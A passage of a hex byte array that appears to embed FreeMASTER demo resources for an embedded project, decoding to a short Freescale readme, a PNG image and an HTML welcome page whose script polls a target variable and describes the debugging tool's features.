0x7A,0x9B,0x0D,0xAD,0xA8,0x3E,0x4B,0xDA,0xD2,0x16,0x4F,
0xB4,0xA8,0xD5,0xA8,0x69,0x57,0xCB,0x5A,0xD4,0xA5,0xF6,
0xB5,0x6D,0x6C,0xAD,0x6C,0x67,0x3B,0x92,0x80,0x00,0x00,
0x3B,0xFC,0x00,0x00,0x00,0x46,0x72,0x65,0x65,0x4D,0x41,
0x53,0x54,0x45,0x52,0x20,0x53,0x65,0x72,0x69,0x61,0x6C,
0x20,0x43,0x6F,0x6D,0x6D,0x75,0x6E,0x69,0x63,0x61,0x74,
0x69,0x6F,0x6E,0x20,0x44,0x72,0x69,0x76,0x65,0x72,0x0D,
0x0A,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,
0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,
0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,
0x3D,0x3D,0x3D,0x3D,0x3D,0x3D,0x0D,0x0A,0x0D,0x0A,0x54,
0x68,0x69,0x73,0x20,0x66,0x6F,0x6C,0x64,0x65,0x72,0x20,
0x63,0x6F,0x6E,0x74,0x61,0x69,0x6E,0x73,0x20,0x48,0x54,
0x4D,0x4C,0x20,0x72,0x65,0x73,0x6F,0x75,0x72,0x63,0x65,
0x73,0x20,0x66,0x6F,0x72,0x20,0x46,0x72,0x65,0x65,0x4D,
0x41,0x53,0x54,0x45,0x52,0x20,0x70,0x61,0x67,0x65,0x73,
0x20,0x64,0x69,0x73,0x70,0x6C,0x61,0x79,0x65,0x64,0x20,
0x69,0x6E,0x20,0x64,0x65,0x6D,0x6F,0x20,0x70,0x72,0x6F,
0x6A,0x65,0x63,0x74,0x2E,0x0D,0x0A,0x0D,0x0A,0x2D,0x2D,
0x2D,0x2D,0x0D,0x0A,0x43,0x6F,0x70,0x79,0x72,0x69,0x67,
0x68,0x74,0x20,0x32,0x30,0x30,0x34,0x2D,0x32,0x30,0x31,
0x33,0x2C,0x20,0x46,0x72,0x65,0x65,0x73,0x63,0x61,0x6C,
0x65,0x20,0x49,0x6E,0x63,0x2E,0x0D,0x0A,0x41,0x4C,0x4C,
0x20,0x52,0x49,0x47,0x48,0x54,0x53,0x20,0x52,0x45,0x53,
0x45,0x52,0x56,0x45,0x44,0x2C,0x20,0x77,0x77,0x77,0x2E,
0x66,0x72,0x65,0x65,0x73,0x63,0x61,0x6C,0x65,0x2E,0x63,
0x6F,0x6D,0x0D,0x0A,0xF8,0x00,0x00,0x00,0x89,0x50,0x4E,
0x47,0x0D,0x0A,0x1A,0x0A,0x00,0x00,0x00,0x0D,0x49,0x48,
0x44,0x52,0x00,0x00,0x00,0x10,0x00,0x00,0x00,0x0F,0x08,
0x02,0x00,0x00,0x00,0x62,0x11,0xD8,0x78,0x00,0x00,0x00,
0x01,0x73,0x52,0x47,0x42,0x00,0xAE,0xCE,0x1C,0xE9,0x00,
0x00,0x00,0x04,0x67,0x41,0x4D,0x41,0x00,0x00,0xB1,0x8F,
0x0B,0xFC,0x61,0x05,0x00,0x00,0x00,0x20,0x63,0x48,0x52,
0x4D,0x00,0x00,0x7A,0x26,0x00,0x00,0x80,0x84,0x00,0x00,
0xFA,0x00,0x00,0x00,0x80,0xE8,0x00,0x00,0x75,0x30,0x00,
0x00,0xEA,0x60,0x00,0x00,0x3A,0x98,0x00,0x00,0x17,0x70,
0x9C,0xBA,0x51,0x3C,0x00,0x00,0x00,0x76,0x49,0x44,0x41,
0x54,0x28,0x53,0x9D,0x92,0xD1,0x0D,0xC0,0x20,0x08,0x44,
0x61,0xFF,0x31,0xFB,0xE1,0x18,0x14,0x7B,0xF6,0xA4,0x8D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,0x2A,0x20,0x28,0x63,0x29,0x20,0x43,0x6F,0x70,
0x79,0x72,0x69,0x67,0x68,0x74,0x20,0x32,0x30,0x30,0x34,
0x2D,0x32,0x30,0x31,0x30,0x20,0x46,0x72,0x65,0x65,0x73,
0x63,0x61,0x6C,0x65,0x20,0x53,0x65,0x6D,0x69,0x63,0x6F,
0x6E,0x64,0x75,0x63,0x74,0x6F,0x72,0x0D,0x0A,0x2A,0x20,
0x44,0x65,0x73,0x63,0x72,0x69,0x70,0x74,0x69,0x6F,0x6E,
0x3A,0x20,0x48,0x54,0x4D,0x4C,0x20,0x70,0x61,0x67,0x65,
0x20,0x66,0x6F,0x72,0x20,0x74,0x68,0x65,0x20,0x46,0x72,
0x65,0x65,0x4D,0x61,0x73,0x74,0x65,0x72,0x20,0x69,0x6E,
0x74,0x72,0x6F,0x64,0x75,0x63,0x74,0x69,0x6F,0x6E,0x20,
0x70,0x61,0x67,0x65,0x73,0x0D,0x0A,0x21,0x2D,0x2D,0x2D,
0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,
0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,
0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,
0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,
0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,
0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,
0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,0x2D,
0x2D,0x3E,0x0D,0x0A,0x09,0x3C,0x48,0x45,0x41,0x44,0x3E,
0x0D,0x0A,0x09,0x09,0x3C,0x54,0x49,0x54,0x4C,0x45,0x3E,
0x46,0x72,0x65,0x65,0x4D,0x41,0x53,0x54,0x45,0x52,0x20,
0x57,0x65,0x6C,0x63,0x6F,0x6D,0x65,0x20,0x53,0x63,0x72,
0x65,0x65,0x6E,0x3C,0x2F,0x54,0x49,0x54,0x4C,0x45,0x3E,
0x3C,0x4C,0x49,0x4E,0x4B,0x20,0x68,0x72,0x65,0x66,0x3D,
0x22,0x69,0x6E,0x74,0x72,0x6F,0x2E,0x63,0x73,0x73,0x22,
0x20,0x72,0x65,0x6C,0x3D,0x22,0x73,0x74,0x79,0x6C,0x65,
0x73,0x68,0x65,0x65,0x74,0x22,0x3E,0x3C,0x2F,0x48,0x45,
0x41,0x44,0x3E,0x0D,0x0A,0x09,0x3C,0x42,0x4F,0x44,0x59,
0x20,0x6F,0x6E,0x6C,0x6F,0x61,0x64,0x3D,0x22,0x73,0x74,
0x61,0x72,0x74,0x5F,0x70,0x61,0x67,0x65,0x28,0x29,0x22,
0x3E,0x0D,0x0A,0x09,0x09,0x3C,0x4F,0x42,0x4A,0x45,0x43,
0x54,0x20,0x69,0x64,0x3D,0x22,0x70,0x63,0x6D,0x22,0x20,
0x68,0x65,0x69,0x67,0x68,0x74,0x3D,0x22,0x30,0x22,0x20,
0x77,0x69,0x64,0x74,0x68,0x3D,0x22,0x30,0x22,0x20,0x63,
0x6C,0x61,0x73,0x73,0x69,0x64,0x3D,0x22,0x63,0x6C,0x73,
0x69,0x64,0x3A,0x34,0x38,0x41,0x31,0x38,0x35,0x46,0x31,
0x2D,0x46,0x46,0x44,0x42,0x2D,0x31,0x31,0x44,0x33,0x2D,
0x38,0x30,0x45,0x33,0x2D,0x30,0x30,0x43,0x30,0x34,0x46,
0x31,0x37,0x36,0x31,0x35,0x33,0x22,0x3E,0x0D,0x0A,0x09,
0x09,0x3C,0x2F,0x4F,0x42,0x4A,0x45,0x43,0x54,0x3E,0x0D,
0x0A,0x09,0x09,0x3C,0x44,0x49,0x56,0x20,0x69,0x64,0x3D,
0x22,0x61,0x6E,0x69,0x6D,0x65,0x22,0x20,0x73,0x74,0x79,
0x6C,0x65,0x3D,0x22,0x57,0x49,0x44,0x54,0x48,0x3A,0x20,
0x36,0x34,0x30,0x70,0x78,0x22,0x20,0x61,0x6C,0x69,0x67,
0x6E,0x3D,0x22,0x6C,0x65,0x66,0x74,0x22,0x3E,0x0D,0x0A,
0x09,0x09,0x09,0x3C,0x53,0x43,0x52,0x49,0x50,0x54,0x3E,
0x0D,0x0A,0x09,0x09,0x09,0x66,0x75,0x6E,0x63,0x74,0x69,
0x6F,0x6E,0x20,0x73,0x74,0x61,0x72,0x74,0x5F,0x70,0x61,
0x67,0x65,0x28,0x29,0x0D,0x0A,0x09,0x09,0x09,0x7B,0x0D,
0x0A,0x09,0x09,0x09,0x09,0x73,0x65,0x74,0x49,0x6E,0x74,
0x65,0x72,0x76,0x61,0x6C,0x28,0x74,0x69,0x6D,0x65,0x72,
0x5F,0x70,0x72,0x6F,0x63,0x2C,0x20,0x31,0x30,0x30,0x29,
0x3B,0x0D,0x0A,0x09,0x09,0x09,0x7D,0x0D,0x0A,0x09,0x09,
0x09,0x0D,0x0A,0x09,0x09,0x09,0x66,0x75,0x6E,0x63,0x74,
0x69,0x6F,0x6E,0x20,0x74,0x69,0x6D,0x65,0x72,0x5F,0x70,
0x72,0x6F,0x63,0x28,0x29,0x0D,0x0A,0x09,0x09,0x09,0x7B,
0x0D,0x0A,0x09,0x09,0x09,0x09,0x69,0x66,0x28,0x70,0x63,
0x6D,0x2E,0x52,0x65,0x61,0x64,0x56,0x61,0x72,0x69,0x61,
0x62,0x6C,0x65,0x28,0x22,0x76,0x61,0x72,0x31,0x36,0x22,
0x29,0x29,0x0D,0x0A,0x09,0x09,0x09,0x09,0x7B,0x0D,0x0A,
0x09,0x09,0x09,0x09,0x09,0x76,0x61,0x72,0x31,0x36,0x2E,
0x69,0x6E,0x6E,0x65,0x72,0x54,0x65,0x78,0x74,0x20,0x3D,
0x20,0x70,0x63,0x6D,0x2E,0x4C,0x61,0x73,0x74,0x56,0x61,
0x72,0x69,0x61,0x62,0x6C,0x65,0x5F,0x76,0x56,0x61,0x6C,
0x75,0x65,0x3B,0x0D,0x0A,0x09,0x09,0x09,0x09,0x7D,0x0D,
0x0A,0x09,0x09,0x09,0x09,0x65,0x6C,0x73,0x65,0x0D,0x0A,
0x09,0x09,0x09,0x09,0x7B,0x0D,0x0A,0x09,0x09,0x09,0x09,
0x09,0x76,0x61,0x72,0x31,0x36,0x2E,0x69,0x6E,0x6E,0x65,
0x72,0x54,0x65,0x78,0x74,0x20,0x3D,0x20,0x22,0x3F,0x22,
0x3B,0x0D,0x0A,0x09,0x09,0x09,0x09,0x7D,0x0D,0x0A,0x09,
0x09,0x09,0x7D,0x0D,0x0A,0x09,0x09,0x09,0x0D,0x0A,0x09,
0x09,0x09,0x66,0x75,0x6E,0x63,0x74,0x69,0x6F,0x6E,0x20,
0x6F,0x70,0x65,0x6E,0x66,0x64,0x65,0x6D,0x6F,0x28,0x29,
0x0D,0x0A,0x09,0x09,0x09,0x7B,0x0D,0x0A,0x09,0x09,0x09,
0x09,0x66,0x64,0x65,0x6D,0x6F,0x77,0x69,0x6E,0x64,0x6F,
0x77,0x20,0x3D,0x20,0x77,0x69,0x6E,0x64,0x6F,0x77,0x2E,
0x6F,0x70,0x65,0x6E,0x28,0x27,0x66,0x6C,0x61,0x73,0x68,
0x64,0x65,0x6D,0x6F,0x2E,0x68,0x74,0x6D,0x27,0x2C,0x20,
0x27,0x66,0x64,0x65,0x6D,0x6F,0x27,0x2C,0x20,0x0D,0x0A,
0x09,0x09,0x09,0x09,0x09,0x27,0x77,0x69,0x64,0x74,0x68,
0x3D,0x35,0x30,0x30,0x2C,0x68,0x65,0x69,0x67,0x68,0x74,
0x3D,0x32,0x38,0x30,0x2C,0x6D,0x65,0x6E,0x75,0x62,0x61,
0x72,0x3D,0x6E,0x6F,0x2C,0x74,0x6F,0x6F,0x6C,0x62,0x61,
0x72,0x3D,0x6E,0x6F,0x2C,0x64,0x69,0x72,0x65,0x63,0x74,
0x6F,0x72,0x69,0x65,0x73,0x3D,0x6E,0x6F,0x2C,0x6C,0x6F,
0x63,0x61,0x74,0x69,0x6F,0x6E,0x3D,0x6E,0x6F,0x2C,0x73,
0x74,0x61,0x74,0x75,0x73,0x3D,0x6E,0x6F,0x2C,0x72,0x65,
0x73,0x69,0x7A,0x61,0x62,0x6C,0x65,0x3D,0x79,0x65,0x73,
0x27,0x2C,0x20,0x74,0x72,0x75,0x65,0x29,0x3B,0x0D,0x0A,
0x09,0x09,0x09,0x09,0x66,0x64,0x65,0x6D,0x6F,0x77,0x69,
0x6E,0x64,0x6F,0x77,0x2E,0x66,0x6F,0x63,0x75,0x73,0x28,
0x29,0x3B,0x0D,0x0A,0x09,0x09,0x09,0x7D,0x0D,0x0A,0x0D,
0x0A,0x09,0x09,0x09,0x66,0x75,0x6E,0x63,0x74,0x69,0x6F,
0x6E,0x20,0x4F,0x6E,0x45,0x72,0x72,0x28,0x6D,0x73,0x67,
0x2C,0x20,0x75,0x72,0x6C,0x2C,0x20,0x6C,0x6E,0x6F,0x29,
0x20,0x0D,0x0A,0x09,0x09,0x09,0x7B,0x0D,0x0A,0x09,0x09,
0x09,0x09,0x72,0x65,0x74,0x75,0x72,0x6E,0x20,0x74,0x72,
0x75,0x65,0x3B,0x0D,0x0A,0x09,0x09,0x09,0x7D,0x0D,0x0A,
0x09,0x09,0x09,0x0D,0x0A,0x09,0x09,0x09,0x77,0x69,0x6E,
0x64,0x6F,0x77,0x2E,0x6F,0x6E,0x65,0x72,0x72,0x6F,0x72,
0x20,0x3D,0x20,0x4F,0x6E,0x45,0x72,0x72,0x3B,0x0D,0x0A,
0x09,0x09,0x09,0x3C,0x2F,0x53,0x43,0x52,0x49,0x50,0x54,
0x3E,0x0D,0x0A,0x09,0x09,0x09,0x0D,0x0A,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x44,
0x49,0x56,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x49,0x4D,0x47,0x20,
0x73,0x72,0x63,0x3D,0x22,0x66,0x73,0x63,0x73,0x2E,0x70,
0x6E,0x67,0x22,0x20,0x61,0x6C,0x69,0x67,0x6E,0x3D,0x22,
0x72,0x69,0x67,0x68,0x74,0x22,0x20,0x77,0x69,0x64,0x74,
0x68,0x3D,0x22,0x32,0x33,0x34,0x22,0x3E,0x0D,0x0A,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x3C,0x62,0x72,0x3E,0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x2F,0x44,0x49,
0x56,0x3E,0x0D,0x0A,0x09,0x09,0x09,0x3C,0x62,0x72,0x3E,
0x0D,0x0A,0x09,0x09,0x09,0x3C,0x48,0x31,0x20,0x69,0x64,
0x3D,0x74,0x69,0x74,0x6C,0x3E,0x3C,0x49,0x4D,0x47,0x20,
0x69,0x64,0x3D,0x66,0x6D,0x6C,0x6F,0x67,0x6F,0x20,0x73,
0x72,0x63,0x3D,0x22,0x6C,0x6F,0x67,0x6F,0x2E,0x67,0x69,
0x66,0x22,0x20,0x68,0x65,0x69,0x67,0x68,0x74,0x3D,0x32,
0x35,0x3E,0x20,0x44,0x65,0x6D,0x6F,0x3C,0x2F,0x48,0x31,
0x3E,0x0D,0x0A,0x09,0x09,0x09,0x3C,0x70,0x3E,0x0D,0x0A,
0x09,0x09,0x09,0x3C,0x62,0x3E,0x46,0x72,0x65,0x65,0x4D,
0x41,0x53,0x54,0x45,0x52,0x3C,0x2F,0x62,0x3E,0x20,0x69,
0x73,0x20,0x61,0x6E,0x20,0x61,0x70,0x70,0x6C,0x69,0x63,
0x61,0x74,0x69,0x6F,0x6E,0x20,0x72,0x75,0x6E,0x6E,0x69,
0x6E,0x67,0x20,0x6F,0x6E,0x20,0x4D,0x53,0x20,0x57,0x69,
0x6E,0x64,0x6F,0x77,0x73,0x3C,0x73,0x75,0x70,0x3E,0x3C,
0x73,0x6D,0x61,0x6C,0x6C,0x3E,0x54,0x4D,0x3C,0x2F,0x73,
0x6D,0x61,0x6C,0x6C,0x3E,0x3C,0x2F,0x73,0x75,0x70,0x3E,
0x20,0x6F,0x70,0x65,0x72,0x61,0x74,0x69,0x6E,0x67,0x20,
0x73,0x79,0x73,0x74,0x65,0x6D,0x73,0x20,0x61,0x6E,0x64,
0x0D,0x0A,0x09,0x09,0x09,0x65,0x6E,0x61,0x62,0x6C,0x65,
0x73,0x20,0x72,0x65,0x61,0x6C,0x2D,0x74,0x69,0x6D,0x65,
0x20,0x76,0x69,0x73,0x75,0x61,0x6C,0x69,0x7A,0x61,0x74,
0x69,0x6F,0x6E,0x2C,0x20,0x64,0x65,0x6D,0x6F,0x6E,0x73,
0x74,0x72,0x61,0x74,0x69,0x6F,0x6E,0x20,0x61,0x6E,0x64,
0x20,0x63,0x6F,0x6E,0x74,0x72,0x6F,0x6C,0x20,0x6F,0x66,
0x20,0x74,0x68,0x65,0x20,0x65,0x6D,0x62,0x65,0x64,0x64,
0x65,0x64,0x20,0x61,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,
0x69,0x6F,0x6E,0x2E,0x20,0x0D,0x0A,0x09,0x09,0x09,0x3C,
0x70,0x3E,0x0D,0x0A,0x09,0x09,0x09,0x50,0x72,0x65,0x73,
0x73,0x20,0x74,0x68,0x65,0x20,0x3C,0x69,0x6D,0x67,0x20,
0x73,0x72,0x63,0x3D,0x22,0x73,0x74,0x6F,0x70,0x62,0x74,
0x6E,0x2E,0x70,0x6E,0x67,0x22,0x3E,0x20,0x62,0x75,0x74,
0x74,0x6F,0x6E,0x20,0x69,0x6E,0x20,0x74,0x68,0x65,0x20,
0x74,0x6F,0x6F,0x6C,0x62,0x61,0x72,0x20,0x61,0x62,0x6F,
0x76,0x65,0x20,0x74,0x6F,0x20,0x6F,0x70,0x65,0x6E,0x20,
0x6F,0x72,0x20,0x63,0x6C,0x6F,0x73,0x65,0x20,0x74,0x68,
0x65,0x20,0x63,0x6F,0x6D,0x6D,0x75,0x6E,0x69,0x63,0x61,
0x74,0x69,0x6F,0x6E,0x20,0x70,0x6F,0x72,0x74,0x2E,0x20,
0x0D,0x0A,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,
0x20,0x20,0x20,0x47,0x6F,0x20,0x74,0x6F,0x20,0x6D,0x65,
0x6E,0x75,0x20,0x3C,0x61,0x20,0x68,0x72,0x65,0x66,0x3D,
0x22,0x70,0x63,0x6D,0x61,0x73,0x74,0x65,0x72,0x3A,0x61,
0x70,0x70,0x63,0x74,0x6C,0x3A,0x6F,0x70,0x74,0x69,0x6F,
0x6E,0x73,0x3A,0x30,0x22,0x3E,0x50,0x72,0x6F,0x6A,0x65,
0x63,0x74,0x20,0x2F,0x20,0x4F,0x70,0x74,0x69,0x6F,0x6E,
0x73,0x3C,0x2F,0x61,0x3E,0x20,0x74,0x6F,0x20,0x63,0x68,
0x61,0x6E,0x67,0x65,0x20,0x63,0x6F,0x6D,0x6D,0x75,0x6E,
0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x70,0x6F,0x72,
0x74,0x20,0x73,0x65,0x74,0x74,0x69,0x6E,0x67,0x73,0x2E,
0x0D,0x0A,0x09,0x09,0x09,0x3C,0x70,0x3E,0x0D,0x0A,0x09,
0x09,0x09,0x54,0x68,0x69,0x73,0x20,0x65,0x78,0x61,0x6D,
0x70,0x6C,0x65,0x20,0x61,0x70,0x70,0x6C,0x69,0x63,0x61,
0x74,0x69,0x6F,0x6E,0x20,0x64,0x65,0x6D,0x6F,0x6E,0x73,
0x74,0x72,0x61,0x74,0x65,0x73,0x20,0x74,0x68,0x65,0x20,
0x46,0x72,0x65,0x65,0x4D,0x41,0x53,0x54,0x45,0x52,0x20,
0x53,0x65,0x72,0x69,0x61,0x6C,0x20,0x43,0x6F,0x6D,0x6D,
0x75,0x6E,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x44,
0x72,0x69,0x76,0x65,0x72,0x2E,0x20,0x0D,0x0A,0x09,0x09,
0x09,0x59,0x6F,0x75,0x20,0x63,0x61,0x6E,0x20,0x66,0x69,
0x6E,0x64,0x20,0x6D,0x6F,0x72,0x65,0x20,0x69,0x6E,0x66,
0x6F,0x72,0x6D,0x61,0x74,0x69,0x6F,0x6E,0x20,0x61,0x62,
0x6F,0x75,0x74,0x20,0x74,0x68,0x65,0x20,0x46,0x72,0x65,
0x65,0x4D,0x41,0x53,0x54,0x45,0x52,0x20,0x28,0x66,0x6F,
0x72,0x6D,0x65,0x72,0x6C,0x79,0x20,0x22,0x50,0x43,0x20,
0x4D,0x61,0x73,0x74,0x65,0x72,0x22,0x29,0x0D,0x0A,0x09,
0x09,0x09,0x69,0x6E,0x20,0x74,0x68,0x65,0x20,0x3C,0x41,
0x20,0x68,0x72,0x65,0x66,0x3D,0x22,0x70,0x63,0x6D,0x61,
0x73,0x74,0x65,0x72,0x3A,0x68,0x65,0x6C,0x70,0x3A,0x70,
0x63,0x6D,0x5F,0x75,0x6D,0x2E,0x70,0x64,0x66,0x22,0x3E,
0x55,0x73,0x65,0x72,0x20,0x4D,0x61,0x6E,0x75,0x61,0x6C,
0x3C,0x2F,0x41,0x3E,0x20,0x6F,0x72,0x20,0x6F,0x6E,0x6C,
0x69,0x6E,0x65,0x20,0x61,0x74,0x20,0x20,0x0D,0x0A,0x09,
0x09,0x09,0x3C,0x41,0x20,0x68,0x72,0x65,0x66,0x3D,0x22,
0x68,0x74,0x74,0x70,0x3A,0x2F,0x2F,0x77,0x77,0x77,0x2E,
0x66,0x72,0x65,0x65,0x73,0x63,0x61,0x6C,0x65,0x2E,0x63,
0x6F,0x6D,0x2F,0x66,0x72,0x65,0x65,0x6D,0x61,0x73,0x74,
0x65,0x72,0x22,0x3E,0x46,0x72,0x65,0x65,0x4D,0x41,0x53,
0x54,0x45,0x52,0x20,0x48,0x6F,0x6D,0x65,0x20,0x50,0x61,
0x67,0x65,0x3C,0x2F,0x41,0x3E,0x2E,0x0D,0x0A,0x09,0x09,
0x09,0x3C,0x70,0x3E,0x0D,0x0A,0x09,0x09,0x09,0x46,0x72,
0x65,0x65,0x4D,0x41,0x53,0x54,0x45,0x52,0x20,0x46,0x65,
0x61,0x74,0x75,0x72,0x65,0x73,0x3A,0x0D,0x0A,0x09,0x09,
0x09,0x3C,0x75,0x6C,0x3E,0x0D,0x0A,0x09,0x09,0x09,0x3C,
0x6C,0x69,0x3E,0x52,0x65,0x61,0x64,0x2D,0x57,0x72,0x69,
0x74,0x65,0x20,0x61,0x63,0x63,0x65,0x73,0x73,0x20,0x74,
0x6F,0x20,0x74,0x68,0x65,0x20,0x74,0x61,0x72,0x67,0x65,
0x74,0x20,0x6D,0x65,0x6D,0x6F,0x72,0x79,0x20,0x28,0x76,
0x61,0x72,0x69,0x61,0x62,0x6C,0x65,0x73,0x20,0x69,0x6E,
0x20,0x74,0x68,0x65,0x20,0x65,0x6D,0x62,0x65,0x64,0x64,
0x65,0x64,0x20,0x61,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,
0x69,0x6F,0x6E,0x29,0x0D,0x0A,0x09,0x09,0x09,0x3C,0x6C,
0x69,0x3E,0x41,0x62,0x69,0x6C,0x69,0x74,0x79,0x20,0x74,
0x6F,0x20,0x70,0x61,0x72,0x73,0x65,0x20,0x45,0x4C,0x46,
0x20,0x61,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,
0x6E,0x20,0x65,0x78,0x65,0x63,0x75,0x74,0x61,0x62,0x6C,
0x65,0x20,0x66,0x69,0x6C,0x65,0x20,0x61,0x6E,0x64,0x20,
0x72,0x65,0x74,0x72,0x69,0x65,0x76,0x65,0x20,0x43,0x2D,
0x76,0x61,0x72,0x69,0x61,0x62,0x6C,0x65,0x20,0x61,0x64,
0x64,0x72,0x65,0x73,0x73,0x65,0x73,0x20,0x61,0x6E,0x64,
0x20,0x74,0x79,0x70,0x65,0x20,0x69,0x6E,0x66,0x6F,0x72,
0x6D,0x61,0x74,0x69,0x6F,0x6E,0x0D,0x0A,0x09,0x09,0x09,
0x3C,0x6C,0x69,0x3E,0x41,0x62,0x69,0x6C,0x69,0x74,0x79,
0x20,0x74,0x6F,0x20,0x64,0x69,0x73,0x70,0x6C,0x61,0x79,
0x20,0x74,0x68,0x65,0x20,0x76,0x61,0x72,0x69,0x61,0x62,
0x6C,0x65,0x20,0x76,0x61,0x6C,0x75,0x65,0x73,0x20,0x69,
0x6E,0x20,0x72,0x65,0x61,0x6C,0x2D,0x74,0x69,0x6D,0x65,
0x20,0x67,0x72,0x61,0x70,0x68,0x20,0x28,0x6F,0x73,0x63,
0x69,0x6C,0x6C,0x6F,0x73,0x63,0x6F,0x70,0x65,0x29,0x0D,
0x0A,0x09,0x09,0x09,0x3C,0x6C,0x69,0x3E,0x41,0x62,0x69,
0x6C,0x69,0x74,0x79,0x20,0x74,0x6F,0x20,0x72,0x65,0x63,
0x6F,0x72,0x64,0x20,0x66,0x61,0x73,0x74,0x20,0x76,0x61,
0x72,0x69,0x61,0x62,0x6C,0x65,0x2D,0x74,0x72,0x61,0x6E,
0x73,0x69,0x74,0x69,0x6F,0x6E,0x73,0x20,0x74,0x6F,0x20,
0x6F,0x6E,0x2D,0x62,0x6F,0x61,0x72,0x64,0x20,0x6F,0x72,
0x20,0x6F,0x6E,0x2D,0x63,0x68,0x69,0x70,0x20,0x6D,0x65,
0x6D,0x6F,0x72,0x79,0x20,0x61,0x6E,0x64,0x20,0x64,0x69,
0x73,0x70,0x6C,0x61,0x79,0x20,0x69,0x74,0x20,0x0D,0x0A,
0x09,0x09,0x09,0x69,0x6E,0x20,0x74,0x68,0x65,0x20,0x46,
0x72,0x65,0x65,0x4D,0x41,0x53,0x54,0x45,0x52,0x20,0x67,
0x72,0x61,0x70,0x68,0x20,0x28,0x72,0x65,0x63,0x6F,0x72,
0x64,0x65,0x72,0x29,0x0D,0x0A,0x09,0x09,0x09,0x3C,0x6C,
0x69,0x3E,0x41,0x62,0x69,0x6C,0x69,0x74,0x79,0x20,0x74,
0x6F,0x20,0x64,0x65,0x6C,0x69,0x76,0x65,0x72,0x20,0x22,
0x41,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,
0x20,0x43,0x6F,0x6D,0x6D,0x61,0x6E,0x64,0x73,0x22,0x20,
0x74,0x6F,0x20,0x74,0x68,0x65,0x20,0x65,0x6D,0x62,0x65,
0x64,0x64,0x65,0x64,0x20,0x61,0x70,0x70,0x6C,0x69,0x63,
0x61,0x74,0x69,0x6F,0x6E,0x20,0x63,0x6F,0x64,0x65,0x20,
0x66,0x6F,0x72,0x20,0x77,0x68,0x61,0x74,0x65,0x76,0x65,
0x72,0x20,0x63,0x6F,0x6E,0x74,0x72,0x6F,0x6C,0x20,0x74,
0x68,0x65,0x20,0x0D,0x0A,0x09,0x09,0x09,0x61,0x70,0x70,
0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,0x6E,0x20,0x72,0x65,
0x71,0x75,0x69,0x72,0x65,0x73,0x0D,0x0A,0x09,0x09,0x09,
0x3C,0x6C,0x69,0x3E,0x4A,0x53,0x63,0x72,0x69,0x70,0x74,
0x20,0x6F,0x72,0x20,0x56,0x42,0x53,0x63,0x72,0x69,0x70,
0x74,0x20,0x65,0x6E,0x61,0x62,0x6C,0x65,0x64,0x20,0x48,
0x54,0x4D,0x4C,0x20,0x70,0x61,0x67,0x65,0x73,0x20,0x28,
0x6C,0x69,0x6B,0x65,0x20,0x74,0x68,0x69,0x73,0x20,0x6F,
0x6E,0x65,0x29,0x20,0x63,0x61,0x6E,0x20,0x62,0x65,0x20,
0x75,0x73,0x65,0x64,0x20,0x61,0x73,0x20,0x61,0x20,0x47,
0x72,0x61,0x70,0x68,0x69,0x63,0x61,0x6C,0x20,0x55,0x73,
0x65,0x72,0x20,0x49,0x6E,0x74,0x65,0x72,0x66,0x61,0x63,
0x65,0x20,0x74,0x6F,0x20,0x0D,0x0A,0x09,0x09,0x09,0x74,
0x68,0x65,0x20,0x65,0x6D,0x62,0x65,0x64,0x64,0x65,0x64,
0x20,0x61,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,0x6F,
0x6E,0x2E,0x20,0x54,0x68,0x65,0x20,0x73,0x63,0x72,0x69,
0x70,0x74,0x20,0x63,0x6F,0x64,0x65,0x20,0x67,0x61,0x69,
0x6E,0x73,0x20,0x74,0x68,0x65,0x20,0x73,0x61,0x6D,0x65,
0x20,0x61,0x63,0x63,0x65,0x73,0x73,0x20,0x74,0x6F,0x20,
0x74,0x68,0x65,0x20,0x65,0x6D,0x62,0x65,0x64,0x64,0x65,
0x64,0x20,0x61,0x70,0x70,0x6C,0x69,0x63,0x61,0x74,0x69,
0x6F,0x6E,0x20,0x61,0x73,0x20,0x69,0x73,0x0D,0x0A,0x09,
0x09,0x09,0x61,0x76,0x61,0x69,0x6C,0x61,0x62,0x6C,0x65,
0x20,0x69,0x6E,0x20,0x74,0x68,0x65,0x20,0x46,0x72,0x65,
0x65,0x4D,0x41,0x53,0x54,0x45,0x52,0x20,0x47,0x55,0x49,
0x2E,0x20,0x28,0x66,0x6F,0x72,0x20,0x65,0x78,0x61,0x6D,
0x70,0x6C,0x65,0x2C,0x20,0x72,0x65,0x61,0x64,0x69,0x6E,
0x67,0x20,0x74,0x68,0x65,0x20,0x3C,0x69,0x3E,0x76,0x61,
0x72,0x31,0x36,0x3C,0x2F,0x69,0x3E,0x20,0x76,0x61,0x72,
